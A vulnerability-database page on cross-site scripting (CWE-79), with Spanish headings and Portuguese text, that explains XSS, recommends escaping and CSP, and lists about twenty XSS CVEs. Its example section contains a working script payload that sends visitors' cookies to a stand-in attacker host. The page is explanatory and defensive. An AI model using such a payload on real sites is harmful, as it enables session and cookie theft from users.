Fallos del tipo CWE-79

28.943 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-27923MEDIUMCross-site scripting vulnerability in Tag edit function of VK Blocks 1.53.0.1 and earlier and VK Blocks Pro 1.53.0.1 and earlier allows a reEPSS 0.6%CVE-2023-28367MEDIUMCross-site scripting vulnerability in CTA post function of VK All in One Expansion Unit 9.88.1.0 and earlier allows a remote authenticated aEPSS 0.6%CVE-2023-2220LOWDream Technology mica Form Object cross site scriptingEPSS 0.6%CVE-2023-4145MEDIUMCross-site Scripting (XSS) - Stored in pimcore/customer-data-frameworkEPSS 0.6%CVE-2022-20802MEDIUMCisco Enterprise Chat and Email Stored Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2022-2371—YaySMTP < 2.2.1 - Subscriber+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-6313LOWSourceCodester URL Shortener Long URL cross site scriptingEPSS 0.6%CVE-2025-28074MEDIUMphpList before 3.6.15 is vulnerable to Cross-Site Scripting (XSS) due to improper input sanitization in lt.php. The vulnerability is exploitEPSS 0.6%CVE-2026-28223MEDIUMWagtail: Improper escaping of HTML (Cross-site Scripting) in simple_translation admin interfaceEPSS 0.6%CVE-2017-7438MEDIUMDOM cross site scripting attack against NetIQ Privileged Account ManagerEPSS 0.6%CVE-2024-52793MEDIUMXSS vulnerability in serveDir API of @std/http/file-server on POSIX systemsEPSS 0.6%CVE-2023-3143LOWSourceCodester Online Discussion Forum Site manage_post.php cross site scriptingEPSS 0.6%CVE-2026-28222MEDIUMWagtail: Improper escaping of HTML (Cross-site Scripting) on TableBlock class attributesEPSS 0.6%CVE-2022-2391—Inspiro Pro < 7.2.3 - Contributor+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2025-28073MEDIUMphpList before 3.6.15 is vulnerable to Reflected Cross-Site Scripting (XSS) via the /lists/dl.php endpoint. An attacker can inject arbitraryEPSS 0.6%CVE-2026-65767HIGHMicrosoft Teams for Android Spoofing VulnerabilityEPSS 0.6%CVE-2022-2299—Allow SVG Files <= 1.1 - Author+ Stored Cross Site Scripting via SVGEPSS 0.6%CVE-2023-2516MEDIUMCross-site Scripting (XSS) - Stored in nilsteampassnet/teampassEPSS 0.6%CVE-2023-1374MEDIUMSolidres <= 0.9.4 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-2015MEDIUMAn issue has been discovered in GitLab CE/EE affecting all versions starting from 15.8 before 15.10.8, all versions starting from 15.11 befoEPSS 0.6%